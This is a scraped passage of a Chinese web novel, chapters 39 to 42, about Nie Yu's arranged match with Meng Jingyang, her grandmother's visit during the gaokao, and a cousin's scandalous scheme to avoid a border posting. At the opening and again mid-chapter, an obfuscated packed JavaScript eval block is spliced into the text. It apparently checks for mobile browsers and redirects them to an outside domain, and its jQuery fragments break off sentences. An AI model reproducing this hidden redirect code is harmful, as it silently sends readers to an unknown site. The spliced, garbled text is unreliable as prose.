;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479015|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往旁边一搁,摘掉眼镜,看着聂宇道:“怎么,听说对象是孟京阳,你就愿意了?” “对,我就是冲着孟京阳。都说他有本事,而我既然要嫁人,当然要找个这样的。”聂宇微笑着说。 蒋铸的脸色不怎么好看了。虽说之前他为聂宇挑的相亲对象确实还比不上孟家这一位,但嫁人不是层次越高就越好的,关键是要适合。不要说年纪了,就单论聂宇这犟脾气倔性子,孟家那位恐怕都忍受不了,更遑论其他。 “想要嫁有本事的不是坏事,前提是你能拿捏得住他。我且问你,你认识孟京阳多久,了解他多少,知道他是什么性子的人?而且你有没有想过他为什么到现在都没结婚,他的日常交际,他的为人处世,他的过去将来,这些你都知道多少就想嫁给他!” 蒋铸尽量克制着自己,到最后还是有些动怒了,但聂宇却很平静。 “您说的这些,我也要接触了他之后才能知道不是吗?你不给我接触的机会,又反过来责怪我什么也不懂,那我可真是有点冤。”她有些无奈地笑。 “不用费那个劲。”蒋铸大手一挥,颇为不耐道,“我可以直接告诉你,你们不合适。也不用多说什么,光是年龄一项也可以直接否掉他。” 蒋铸不同意的原因,当然不光是因为年龄,但它是他唯一可以摆到台面上来讲的一点。 “姥爷,您说不合适,是出于对我的了解,还是对孟京阳的呢?不管是对谁,也许您的那个了解都是不对的,片面的。” 聂宇这是在明明白白地告诉蒋铸,他根本就不懂她。老爷子自然听出来了,这比她其他的反对理由都来的让他生气,因为他感觉到聂宇在维护孟京阳! “你是怎么回事?”他还是发了火,用一种恼怒中夹杂着不解的眼神看她,“以往提起相亲来你都是打死不去,宁愿以离家出走做威胁,怎么这次为了个孟京阳这么顶撞我!” “你也说了,那是孟京阳。”聂宇说,“姥爷,其实跟这个人是谁无关,关键在于我自己想要什么。就像当初我能为了来燕城跟您打那个赌,现在我也能为了自己的以后去嫁给一个我可能根本不了解的人。” 蒋铸不知道聂宇跟孟京阳这半年多来的全部来往内情,还以为她说的话都是真的,看向她的眼神霎时就变了,仿佛真的不懂她似的。 而聂宇也知道自己该说的都说了,留下一句“请您再想想”,离开了书房。 - 孟京阳在回来的当天就知道聂宇干了这样一件大事,因为当时正值周日下午,聂宇在他的住处给学生们上课。 孟京阳听完之后难得沉默了片刻,然后摇一摇头,笑了。 “你笑什么?”说这话是俩人在厨房给学生准备水果,怕被谁无意听到,还专门关上了房门。 “我笑你是真不拿自己当回事。”孟京阳说,“你以为把自己说的多么冷硬无情,就能骗过你姥爷?聂宇,这方面你真是高估自己了。” “哪方面?”聂宇有些不服气地反问,“是我的骗术,还是我的冷硬无情?” “都有,你还别不忿儿。” 孟京阳说着,又递给聂宇一碗草莓。这是每次由他来准备水果时她都会有的待遇,看到这一碗鲜嫩欲滴的红浆果,聂宇性子里那些棱角瞬间软化了,仿佛含羞草的叶子一般,被轻摸一下就缩了回去。 聂宇拿起一个草莓送入口中,清甜多汁的口感充盈唇齿,她的眉头渐渐舒展开来。孟京阳看在眼中,露出个“果然如此”的表情。有些人,就是这么好哄而不自知。 “我这几天工作不忙,可以抽时间去见见老爷子。”趁着聂宇吃草莓占着嘴,孟京阳提议道。 “不要!”聂宇立刻拒绝,差点儿被多汁的草莓呛住,“你、你可以跟我奶奶说软话,向她妥协,因为她本身就是心软的人。但是我姥爷,他不行。” 孟京阳隐隐感知到了,这是独属于这对祖孙之间的较量。虽然觉得没必要如此硬刚,但如果聂宇坚持,他会尊重她的决定。 “擦一擦嘴。” 递给她一个手帕,孟京阳停顿一下,移开了视线。 - 接下来几日,聂宇跟蒋铸之间的关系又紧张了起来,这是蒋家所有人都能感觉到的。蒋晓先不免窃喜,但蒋云鹏却有些不耐烦。他现在极为后悔当初在父亲决定接聂宇来燕城时没有拦住他,甚至还做了“帮凶”,亲自赴旬城完成了这件事。瞧瞧这姑娘来燕城之后惹了多少事,如果她愿意跟孟家那位相亲,那就由她去好了。哪一天真把她打发走了,也图个清静! 聂宇不知这些人的所想,也不在乎。她现在已经冷静了下来,因为心里已然有了主意。 这周给旬城的例行电话,聂宇是在老爷子在场的时候打的。老爷子没主动回避,她也没提醒,就这样聊完了三十分钟,聂宇把电话挂掉。 “怎么不跟你奶奶提一下相亲的事?”蒋铸抖了下手中的报纸问道。就是为了这一句,他才厚着脸皮坐在这里偷听。 “不用说,如果是我愿意做的事,奶奶都会支持。”一顿,聂宇垂眸又说,“她也想有个人来保护我。” “保护”这两个字,算是戳到了蒋铸的痛处。但他忍住了,冷哼了一声,泠然反问:“你就确信孟京阳是你奶奶期望的那个人?” “至少我奶奶差点儿断气的那一晚,是他开车送她去了医院。” “……” 蒋铸放下报纸,看向距离他几步之远的聂宇。他以为能在她脸上看到对他的指责、不满和愤怒等情绪,但是没有,统统没有,此刻的她只有平静。蒋铸的心不由一紧,有种说不出的失落。他倒宁愿她恨自己,说明她没有彻底对他,对这个家失望。 蒋铸不禁又想起方才聂宇跟谢静芳讲的那通电话,聊的不过都是些家庭琐事,但不难从中听出这对祖孙生活中的那些拮据、局促和为难,然而这些聂宇也统统都没有在他面前提过。她没抱怨,没企求,是因为她对他没期待。 现在的她,宁愿去指望一个外人。 “小宇,你现在只在乎你奶奶了,是不是?”蒋铸轻声问道,声音中有种不加掩饰的疲惫。 聂宇沉默了下,回答:“我只在乎爱我的人。” “好,好。”蒋铸接受了这个现实,“如果是这样,如果你真的不把我和你妈妈放在心上,那你就去相亲吧,做你想做的。” “……” 聂宇不明白他为什么会突然提到蒋云清,但此刻她不想细究这个,因为从她的角度来看,蒋铸答应了。 “好。”她说,“谢谢姥爷。” 20.39-41 -39- 当天,聂宇把这个消息告诉了孟京阳。电话里她的声音听起来并无太多喜悦,甚至还有些低落,因为这是一场“杀敌一千自损八百”的胜利。 孟京阳很能了解她的心情,但当他想要说些什么的时候,聂宇却将话题岔开了。于是孟京阳就当做什么也不知道,开始与她商议相亲的日期。自他在家里提出要相亲后,孟老爷子就很将这件事放在心里,前几日听说老林家属出师不利时还着了通急。眼下事情有了转机,当然是越早办越好,所以两人就把日子定在了这周六。 到了这天,因为双方都有意,相亲自然进行地十分顺利。两人都表达了继续接触的意思,对于这一结果,除了蒋铸外,其他人都非常满意。 见面地点在蒋家,待人都散了之后,蒋铸让小宋拦下了孟京阳,私下里对他交代了两句话:“京阳,小宇年纪小,以后相处起来如果有什么做得不好的地方,请你多包容。就是最后走不到一起也无妨,但你……千万不要伤她。” 老爷子这番推心置腹的话让孟京阳有些意外,当即就郑重了许多,回道:“您放心,无论最后结果如何,在这件事上,我是认真的。” 还就怕你认真! 蒋铸在心里嘀咕一句,没忍住,问他道:“老林那边是想起什么来要撮合你和小宇,听说是你们家主动提议的?” “是。”孟京阳坦诚答,“之前在照山时我就知道了小聂,后来回到燕城后,通过天音学校办比赛和请她当老师这些事,彼此之间又有了更多的接触,对她印象很好。相亲这个提议也是偶然,倒是没想到我们还挺合得来。” “……嗯。” 蒋铸后悔自己多这一问,也后悔自己的纵容。在跟孟家小辈的来往上,他其实是持赞成态度的,唯一没料到的是能有情感牵扯,还是看似最不可能的聂宇和孟京阳! - 感情过了明路之后,俩人也就不怎么遮掩了,所以陆陆续续就有“进展顺利”的“好消息”传出来,听的几人欢喜几人忧。 但聂宇并不在乎这些。实际上,她和孟京阳的相处方式跟之前并没有太大的改变,见面次数也因为孟京阳的频繁出差没有增加太多。除了他们真的开始培养感情之外,其他一切的变化都在她的预料中。 当然,也有需要聂宇打起精神应对的,那就是孟天音。她是蒋孟两家里最后一个得知相亲这一消息的人,除了震惊之外,还感到非常生气。在她看来,凭她和聂宇的关系,她怎么能做这个垫底呢! “那不是因为你在学校太忙嘛,怎么样,实验顺利吗?” 某天,在院里的游泳池边,聂宇颇为心虚地关心着前来兴师问罪的孟天音。对此,这位天才少女并不领情。 “正说你呢。”她伸手点点聂宇的额头,“怎么想的,你真打算跟我小叔处啊?” 这话问的……好像那人不是她亲小叔一样。 聂宇忍不住失笑,笑完之后颇为腼腆地反问,做足了少女羞涩的模样:“你小叔不好吗?” “好啊,很好,但你们这个事……太突然了,我一时还消化不了。” 说突然,其实也并不是完全没有任何预兆。孟天音知道自己的小叔是个很有边界感的人,但他与聂宇的相处,很多细微的小节在现在看来似乎都超出了他划定的界限。也就是说,在她第一眼看到这两人出现在同一个画面的时候,他们应该就不是第一次见面了,并且他对她还颇为纵容。 孟天音忽然觉得聂宇有事瞒着自己,而且还不少,还都跟她小叔有关。但她并没有立刻逼问她,因为这么长时间相处下来,她已经足够了解聂宇了,知道她是真把自己当朋友。如果有什么事她没说,那就一定有原因,她不需要多问,只耐心等待她愿意开口的那天就好了。人嘛,谁还没点小秘密呢! “不管怎么说,如果未来是你当我小婶儿,我还挺高兴的。到时候我既能放心地继续让小叔带着我出去玩儿,还能和我的好朋友一起,一举两得啊小羽毛!” 孟天音最终幸福地表示道,因为她发现这俩人在一起的好处多于弊端——对她来说。 而聂宇除了继续失笑外,心里也因为她的幸福,感觉到一点开心。她想,她在做的应该是一件对的事。 - 待到两人终于在人前正式进入到“情侣”这一阶段,已经是快六月份了。除了这件“好事”外,聂宇又得到另外一个好消息,那就是奶奶又要来旬城了,来陪伴她高考。 这是谢静芳的提议,当初聂宇离开旬城时将户口也迁了走,所以高考便安排在燕城。聂宇本来觉得旅途太奔波不想老太太折腾,但心里又实在想她,便答应她来。只是这一次,护送她前来的又是堂哥聂杰英。 对于这个堂哥,聂宇本能地不喜。先不说上一回他在奶奶病时的糟糕表现,单就他对蒋家赤裸裸的巴结态度,就让聂宇厌恶。但是她也没法拒绝,因为听奶奶说,聂杰英已经辞了旬城的工作,这次来燕城是打算到这边发展,暂时不回去了。所以说如果他上次陪谢静芳来燕城还纯属偶然,那么这次是必然了。这是让聂宇更糟心的。 “他怎么要来燕城发展?那他的女朋友呢?”聂宇在电话里问。 谢静芳呵笑一声:“可不就是跟女朋友吵架了才一气之下辞了工作么?姑娘嫌他工资低,不是铁饭碗。可照你哥这人的德性,是能耐得住性子谋个公职的人吗?他一心想赚快钱,一点儿也稳不下来。” “如果他在燕城长住的话,让他自己找个房子吧,不要住在蒋家,也不能久居招待所。”聂宇想了想,说。 “这个我跟你大爸大妈谈过了。既然是去闯的,就拿出相应的态度,不要怕苦和累,也不要想着依靠谁去享福。我是不会让他影响到你的,如果带着别的想法,趁早不要去。” 这是聂杰英陪老太太来燕城的唯一条件,因为谢静芳太过坚持,家里还闹得很不愉快。按照大妈王盈的态度,亲戚之间就是要相互沾光的,什么都要自己来还算什么亲戚。 聂宇能够想到奶奶又为自己扛下了多少,一时之间越发恼怒聂杰英。可即便是谢静芳,也不可能阻拦自己的孙子长进——如果他确实是这样打算的话。 “那就这么说定了。这一次,我让孟京阳帮你们买票,钱我会给他的。” 这是聂宇得知奶奶要来时第一时间想到的,现在的她,在有些事情上宁愿麻烦孟京阳。 “给您买软卧,至于我哥,就让他坐硬座吧。反正他是来赚钱的,又不是来享福的。” 聂宇说着,把自己逗乐了。 谢静芳也笑了,没有异议。但是想起孟京阳,她的心里仍觉沉甸甸的。虽说过去这三个月里,从孙女那里反馈而来的都是那个人的好,但她还是没有完全放心。正好,逢着孙女有大事了,她借此机会再去趟燕城,就近观察观察这个年轻人。到时候这个人可不可嫁,她大概也能看出来了。 - 聂宇将奶奶来燕城的消息告诉了蒋家众人,所有人都没有意见,除了蒋晓先。当然,她的反对是表现在脸上和心里的,而非嘴上。 过去的这几个月来,是蒋晓先过的最痛苦的一段时光。尤其是现在马上步入六月份,距离爷爷给她规定的那个最终期限越来越近,她可以说是夜夜难眠,着实地过了一段苦日子。 也不是没想过再去求求老爸和爷爷,但老爷子这次格外坚定,非把她送部队不可。如果不是因为她要去的边防文工团六月底才开始招人,她怕是早就要走了。那可是边防啊,老爷子真狠心! 有人给蒋晓先出主意,说让她在走之前找个人嫁了,实在不行先把生米煮成熟饭,这样老爷子就不好送她走了。但蒋晓先一是不敢,二是实在找不来这样一个人。 虽说是救急,但蒋晓先也不想委屈自己,想找一个可心人。但在圈子里扒拉来扒拉去,没一个合适的。倒不是她眼光太高,谁也瞧不上,而是她在挑别人的同时别人也在衡量她。 家庭和成长环境的缘故,蒋晓先的性子是众所周知的娇纵。非但如此,她还是大院里出了名的尖酸刻薄。一个人如果娇纵里带点天真,那还能称得上有几分可爱。但一个人娇纵的同时还尖酸刻薄,那可真是让人讨厌了。这样的人——若性别为女——娶回去就是一个姑奶奶,得供着,对方男士但凡有别的可选,都不会要她。所以说蒋晓先如今的困局,完全是她自作自受! 在得知谢静芳又要来燕城的时候,蒋晓先当晚就去找父亲哭诉。结果父女俩因为互相埋怨大吵了一架,蒋晓先哭着回了房间,蒋云鹏也气的血压直飙。一旁的魏莹可是难做了,先是安抚了丈夫,然后又去看蒋晓先。 对于她的到来,蒋晓先干脆理都不理,却没想到魏莹无意间给她送来了一个破局的关键。从她这里,她意外得知这次送谢静芳来燕城的还是聂宇的堂哥,聂杰英。 那个看向她时眼里浮着轻佻和暧昧的男人。 -40- 在一个下过雨的傍晚,谢静芳在聂杰英的护送下,再一次来到了燕城。这回是孟京阳陪聂宇来接站的,因为两人那众所周知的关系,蒋铸也不好表示反对。 相比于聂杰英的震惊,谢静芳显得平静很多。早在火车刚进站还没停下来的时候,她就遥遥地望见和孙女站在一起的那个男人。他穿一身夏常服,上身白下身绿,长身玉立英姿勃发,宛如一株直峭的青松,那样令人赏心悦目。这一回,谢静芳的心里浮上来一丝欣慰。 无论如何,这个年轻人的外在条件是真的好。 孟京阳觑见从车上走下来的谢静芳的神色,便知道她对自己的“贸然前来”没有太过反感。于是他主动走上前,从聂杰英手中接过两件行李。 聂杰英愣愣地完成了交接仪式,过会儿才回过神,凑到聂宇身边低问:“小羽毛,这人谁啊,上回来没见过啊。” “……”聂宇有些无语,兀自翻了翻白眼,回答他道,“上回奶奶住院就是他开车送过去的,后来也来医院探望过,你不记得了?” 说起这事儿,聂杰英就无言以对。他挠了挠头,轻咳一声,说:“这不过去好久了么,我记性又不好。” “是呢,您贵人多忘事。”聂宇轻刺一句,又说,“他叫孟京阳,是我的对象。” “……” 聂杰英又呆了。他大概知道聂宇在燕城谈了对象,没想到居然是这样的!老爸老妈,你们情报有误啊! - 因为蒋家的人还在家里等着,孟京阳没有过多寒暄和耽搁,直接驱车将祖孙三人送回了干休所大院。 鉴于明天单位里还安排了早会,今晚他不便住在这里,送他们到蒋家的院门口,他便打算回去了。而聂宇也知道孟京阳不会久留,便让奶奶和堂哥先随出门迎接的小宋进去,自己留下来和他说“悄悄话”。 “这次奶奶过来,我会再争取一下,让她同意我们早点定下来。”聂宇说着,算是表明自己的态度。 孟京阳笑着觑她一眼:“你现在是考虑这些事情的时候吗?”一顿,“我心里有数,快进去吧。” “有数?是什么数?”聂宇半是好奇,半是调侃地问。 “有你不敢放我鸽子的数。” 孟京阳可不怕她的激将,往前走了一步,伸出手,似乎对她有所谋算。聂宇醒过神,脸微红,扭头跑了。 她可不能给他这个动手动脚的机会! - 屋子里,众人已经落座寒暄了起来。 聂宇进来后观察了下,发现所有人都到了。且除了蒋晓先以外,其他人的表情都还算热情。 当然,聂宇对此不在乎。她能理解蒋晓先的“无礼”,毕竟那晚父女俩的争吵她也有所耳闻。殊不知蒋晓先此刻的心思却全不在这上面,她正在偷眼观察聂杰英。 如记忆中犹存的那样,这个人果然是长得不错,个头也高大。家世是差一些,但私下里跟朋友的谈话也稍稍抹平了一些她对这点的在意。按朋友的话说,家世她不缺,实在不行就让聂杰英入赘蒋家,到时候有了孩子随她姓,是她蒋家的后代,还能跟蒋晓南争一争。 蒋晓先觉得这个提议着实不错,尤其是在她没有更好的选择的情况下。而且家世差也有好处,最起码可以保证她在家里的绝对地位,总比找个门当户对的谁也不服谁强。 蒋晓先决定了,胆子也大了起来,趁着所有人不注意,目光更是黏在了聂杰英身上。而本就在四处张望的聂杰英,没一会儿就对上了她的视线。 - 聂宇对蒋晓先的计划一无所觉,她的注意力都在奶奶谢静芳身上。 同上一次一样,在谢静芳住进招待所以后,她也搬了过去。这回的房子也是孟京阳安排的,还带有一个小厨房,谢静芳对此欢喜不已,从蒋家借了些锅碗来,时不时给熬夜复习的聂宇做一些宵夜。 至于聂杰英,自来到燕城之后就开启了早出晚归的日子,说是要找工作。聂宇同他申明了,招待所的住处最多容他一个月,到时候不管他找没找到工作,都要搬出去。 说这话时,聂宇已经做好了聂杰英同自己抬杠的准备,没想到他居然没什么反应,脸上带着一抹古怪的微笑,犹自出神着。直到聂宇唤了他几声,他才回过神,甚是敷衍地朝她挥了挥手,说知道了。 聂宇觉得有些不对劲,但此时此刻高考在即,她也没有心思过多追究,便随他去了。 在高考前这最后一个月里,孟京阳同聂宇见面的次数也并不多。这是他有意控制的,怕谢静芳嫌他来分孙女的神。而实际上呢,聂宇是愿意见一见孟京阳的,因为每次跟他聊完之后,心里都会轻松许多,算是她最后冲刺阶段里不多的慰藉。 在最紧张的时候,聂宇曾纠结过,万一这一次又失败了该如何。彼时是在院里的小花园里,夜晚夏日的微风拂过,聂宇的长发被撩起而不自知。 孟京阳在一旁的回廊长椅上坐着,闻言想了想,握住了她的手,说:“那就再来一次,直到你考上,或者不想再考为止。聂宇,人生长得很,选择和可能太多了。” “……”聂宇回看着他,歪头一笑。 - 终于,时间步入了七月。 在距离高考还不到一周的时候,聂宇逐渐减少了复习时间,努力将身体和精神状态调到最佳。同时,考试安排出来了,聂宇就当放松似的,和奶奶一起去看了考场。 这天依旧是个雨天。今年燕城的夏天雨水格外多,倒是替市民们省了不少开电扇消耗的电费。聂宇撑着伞和奶奶漫步走在考场所在学校的林荫小道上,心情十分平静。 “澄澄,放宽心去考,奶奶相信你。”挽着孙女的手臂,谢静芳轻声道。 聂宇笑了下,说:“我知道,这次我肯定能如愿。” 此时此刻,经过过去一年来漫长和认真的准备,聂宇觉得自己已没有什么后顾之忧。对于即将步入的战场,她充满了信心。 谢静芳“嗯”一声,还想说些什么,是关于孟京阳的。但又怕分了孙女的心,索性不提。祖孙俩人一起往校外走,结果一出校门,便看到了等在门外的孟京阳。 对于他的到来,不光谢静芳,连聂宇都颇感意外。她快奶奶几步走过去,问道:“你怎么来啦?” 孟京阳看着她,起初没吭声。待聂宇的眉头微蹙了下,他才轻轻一笑,说:“我过来接你们。”一顿,看向谢静芳,“谢奶奶,这儿离我的住处不远,不如就让小宇这几天住到我那里,这样来回都方便,节省出来的时间可以多休息。” 谢静芳来的路上还在想这个问题呢,这个考场距离干休所大院着实不近,即便有车来回接送,路上也很难不折腾。然而,住到孟京阳那里去—— “这样是不是太打扰了?” 谢静芳的口风不紧,显然是在犹豫,“马上考试了,突然换地方,我怕小宇睡不好。” “应该问题不大。”孟京阳又将视线落在聂宇身上,“先前小宇就是在我那儿给孩子们上课外辅导,每周日下午都过去,估计也熟悉了。” “……还有这事?”谢静芳知道聂宇在外面带学生赚钱,但不知道授课地点是在孟京阳那里! 聂宇有一丢丢无语,瞪孟京阳一眼,她讪笑着向奶奶解释:“因为天音的弟弟也在跟我上课,所以就……” 天音的弟弟可不就是孟京阳的侄子嘛,侄子上课,做叔叔的贡献下住处也算是天经地义……吧? 谢静芳没再说什么,回到原本的问题上,她也松了口。 “那就太谢谢你了小孟。这段时间你为澄澄做的所有我都看在眼里,非常感谢。” 谢静芳说的是真心话,在很多事上,她确实无法要求孟京阳更多了。 “您太客气了。”孟京阳说,“那我送您和小宇回去收拾东西吧,今晚您就陪着她住过去,也算是提前熟悉下环境。” “哎哎,好。” 这次谢静芳是真的眉开眼笑了,她确实想陪孙女一起住过去,照顾她这几天的衣食起居。 聂宇心里对孟京阳也充满了感激,待奶奶上车之后,她悄悄问孟京阳:“那你这几天住在哪儿?” “干休所,单位宿舍,都可以。”孟京阳接过她手中的伞,说,“上车吧,不用管我。” - 聂宇的东西都放在招待所里,简单收拾一下就可以走。 原本谢静芳还想着回蒋家一趟向他们交代一下,没想到孟京阳说他已经同聂宇姥爷通过气了,那头没异议。于是祖孙俩人再无顾虑,直接从招待所出发,去往孟京阳的住处。 在路上,谢静芳轻握着聂宇的手,想着这一回万事无虞,孙女的考试一定会非常顺利。殊不知,此刻的蒋家内部正在酝酿着一场企图将所有人都席卷进去的风暴! -41- 今年高考的三天仍旧是在雨中度过。 虽然天气阴沉变幻不定,但聂宇的心情却是极好的,因为她在此次考试中发挥的不错,无论最后结果如何,她都没有任何遗憾了。 考完最后一门出来,天气也放晴了,聂宇看着等在门外的奶奶和孟京阳,高兴地向他们跑去。谢静芳微微红了眼睛,抱一抱她道声辛苦后,说:“回家吧,京阳在家里给你准备了庆功宴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492720|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们吃完了再回去。” “现在庆功是不是早了点?”聂宇挽着奶奶,歪头看孟京阳。 “一点不早。”孟京阳笑着说,“看你表情就知道。” “……就这么明显吗?” 聂宇有些意外地反问,见他瞥过来一眼,答案不言而喻。于是她就又笑了,说:“好,那就咱们仨先庆祝一下吧。” - 一行人回到了家里。 聂宇放下自己的背包就去厨房,果不其然,台子上搁了三个盖的严严实实的砂锅,掀开一看,里面炖的是她爱吃的猪蹄、红烧肉和玉米排骨汤。 聂宇笑着飘出厨房,悄声问奶奶,今天的午饭是谁做的。 “汤是我炖的,其他都是京阳做的,这孩子做饭还真有一手。”谢静芳笑说。 聂宇也颇为意外呢,她觉得不用自己出手了,这一个月来孟京阳就将老太太收服的七七八八。等到她老人家回旬城的时候,估计就要松口答应他们领证结婚了。 相比之下,孟京阳是最平静的。三个人愉快地吃完一顿午饭,都收拾完毕,准备回干休所的时候,孟京阳请谢静芳到客厅坐下,表示自己有话要说。 聂宇心一下子提起来了,以为他是现在就要提领证的事,没想到孟京阳开口第一句话,竟是问谢静芳最近的血压状况如何。 “都好着呢。”谢静芳有些莫名,但还是笑着回答了:“一直在吃着药,京阳,是有什么事么……” 与聂宇不同,谢静芳此刻心中已经有了些预感。 “是出了点状况,但问题不是不能解决,所以您听了别急。”孟京阳看聂宇一眼,说,“前几天,也就是您和小宇去看考场的那一天,小宇堂哥和晓先两个人,在家里被小宇舅妈撞了个正着。” “撞了个正着?他们俩在——” 聂宇下意识地反问,到一半会儿回过味儿来,她有些难以置信地看着孟京阳。聂杰英和蒋晓先搞上了?还被人当场捉/奸?? 谢静芳也立时就明白了过来,脸色瞬间煞白。过去这几天,对于聂宇的高考,除了头一天蒋铸打过来一通电话外,其余人可以说是不闻不问,包括孙子聂杰英。谢静芳原本就觉得怪异,但因为当时大事在前,她没有表露出来自己的不满,怕影响聂宇的心情。没想到,没想到竟是有这样的内情。 “你、你是怎么知道的?” 谢静芳有些恍惚地问孟京阳,男人轻抿一下唇,在想怎么交代。 “您和小宇去看考场那一天,我是先回了一趟干休所,才去的学校接你们。当时我以为你们应该从学校回来了,所以进院之后先去了招待所,然后在那里遇到了小宋,他着急忙慌地从里面出来,说是有事找你们商量。” 小宋正是蒋铸派去的,在抓到了聂杰英和蒋晓先的现行之后,他肯定要把谢静芳请过来商量事情该如何处理。而小宋当时正因为找不到谢静芳而焦急,碰到孟京阳之后,便向他求助。 孟京阳当时就意识到可能发生了什么事。他当然知道聂宇和谢静芳可能的去向,但他没说,只是跟着小宋一起回了蒋家。在见到蒋铸逼问出实情之后,他没有按照老爷子吩咐的立刻去找谢静芳,而是让他先把事情按下来。 “聂宇马上就要高考,这个时候闹起来,是想让去年的事重演吗?” 他平静地反问,蒋铸也很快回过神来,思索之后,决定按他说的办。 孟京阳又提出了一个建议,那就是这几天先让聂宇和谢静芳离开干休所,去他那里住,避开所有可能的打扰。无论如何先让聂宇顺利完成高考,然后再谈其他。蒋铸对此没有异议,于是他就装作无事发生,待平静下来之后,出发前往学校接聂宇祖孙俩。 听完事情的经过之后,谢静芳流泪了,握住了孟京阳的手,说:“京阳,谢谢你,你做得对。” “但这件事我也只能帮到这里,剩下的还得辛苦您老人家去处理。”孟京阳略感惭愧地说。 虽然他和聂宇关系亲密,但本质上他还是个外人,如果不是为了聂宇高考,蒋铸怕是根本不会让他插手这件事。 “我知道、我明白。”谢静芳说着站了起来,“我回房间收拾东西,我们马上就走。” 待客厅里只剩他和聂宇两个人的时候,孟京阳看向她,目光带着点担忧。因为从那一句之后,聂宇就没再说过话,看脸色也是有些苍白。 “聂宇——” 他唤她一声,拉住了她的手,却见聂宇忽的抬起了头来。 “蒋晓先是故意的。她不想去边防,所以要赶在这之前制造出一个不让老爷子送她走的由头,而她选的那个日子,也是想在临近考试的时候搅乱我的心,想让我再次发挥失常落榜。一石几鸟,这么狠的招也亏她想得出来……” 聂宇此刻满心都是对蒋晓先的恨意。这人可真是太绝了,当初因为聂家人她不得不被送走,现在又因为聂家人她得以留下。这样一种报复,她是如何想出来的呢,聂杰英又如何会上套! 聂宇只觉得一颗心快要从嗓子眼跳出来了,胸口此刻鼓噪得厉害。 孟京阳自然看出她的不对劲,他只提醒了她一句:“这件事无论怎么说总是女生吃亏,蒋晓先有天然的弱势立场,要注意这点。” “……”聂宇看向他,许久后点了点头。 - 此时的蒋家,在经历了几天的鸡飞狗跳之后,是一个人人皆疲的状态。尤其是聂杰英,这几日他一直被关在聂宇的房间里,整个人颓唐邋遢地犹如一只被拔了毛的鸡。他知道,从他被堵在蒋晓先房间里的那一刻起,他就完蛋了。 相比之下,另一个当事人蒋晓先的状态要好很多。虽然她也怕,但事情正按照她设想的情况在发展,待到人前对峙时,她只要一径闷头哭泣,装出一副受害人的样子就行了。反正男女这种事儿,谁说得清。虽说是她勾引在先,但聂杰英就无辜吗,用朋友的话说,又不是她逼着他脱下她的衣服。 终于等到高考结束这一天,蒋晓先吃过午饭正兀自睡着,房门突然被人敲响了,是魏莹,说老爷子通知她下楼。 该来的终于来了!蒋晓先走过去打开门,瞥魏莹一眼,昂着首从她面前走过,看那架势不像是做了亏心事,反倒是要去英勇就义似的。 魏莹面上没什么表情,心里却乐得看她笑话。她知道,这姑娘也就只能狂这一会儿了。 果不其然,楼下客厅里除了她之外人都齐了。蒋晓先没说什么,走过去在沙发的边沿坐下,低头就开始哭。这一下可把聂杰英给哭懵了,他在想:该哭的难道不是自己吗? - 聂宇陪奶奶坐在另一头,看着蒋晓先低头抹泪的样子,心想果然还是让孟京阳给说着了:她想给自己按个受害人的身份呢,如果顺利的话,说不定真能跟前面那桩事两两相抵,她这边防都彻底不用去了。蒋晓先啊蒋晓先,你可真豁得出去! “晓先——”聂宇先发制人道,“即便是你真不想去部队,也用不着这样,牺牲是不是太大了些?” 不管事实真相如何,聂宇决定先把这摊水搅浑! 蒋晓先没想到聂宇居然“恶人先告状”,她立刻就站了起来,指着聂杰英质问她道:“你什么意思,你是想说我为了一己私欲去勾引你堂哥?你、你为了洗脱自家的罪名也太、太过分了!” “果然自己的事只有自己知道。”聂宇蓦地一笑,说,“你瞧,你比我说的详细多了。” “你——” 蒋晓先一窒,面色通红地看向爷爷蒋铸,期盼他为自己做主。 然而英明如蒋铸哪里还看不出在唱的这是哪一出,此刻他心里只有对蒋晓先的失望和愤怒,气她为了躲避自己该承担的责任而做出来一件更大的错事,简直是愚蠢! “小宇奶奶——” 他没理孙女,而是先看向谢静芳,“你放心。无论今天这事结果如何,都不影响先前咱们说好的。晓先终究是犯了错,要为此付出代价。” 谢静芳没吭声,反倒是蒋云鹏立刻站了出来。 “爸!”他气急地喊一声蒋铸,“您什么意思?还打算送晓先去边防啊?那她岂不是白被人睡了,几年以后回来谁还娶她!” 虽然事情刚出来的时候蒋云鹏也恨铁不成钢,但经过这几天的冷静,他也觉得这算是一个转机,此刻自然就肯出头为女儿周旋。 “那你说怎么办!”蒋铸瞪他一眼,吼道,“你自己管教不好姑娘,还有脸冲我喊!” “那咱们也得就事论事吧,现在是您孙女受了委屈!” 蒋云鹏怒瞪聂杰英一眼,说,“先前那桩事是晓先糊涂,这点我们认,但小宇奶奶最后到底也没什么事吧。可这回不一样,我们晓先之前可是个大姑娘啊,出了这事儿她以后怎么嫁人啊,婆家人该如何看待她,一辈子的耻辱!” 一顿,“他聂家怎么也要给这件事一个交代,不行、不行就让这小子把晓先给娶了吧,反正已经这样了!” 聂宇闻言惊了,同时也有种恍悟之感:原来,蒋晓先和她爸不光打的“不去边防”的主意,他们是真看上了聂杰英! 21.42-43 -42- 冷静下来后,聂宇觉得也不是不能理解。 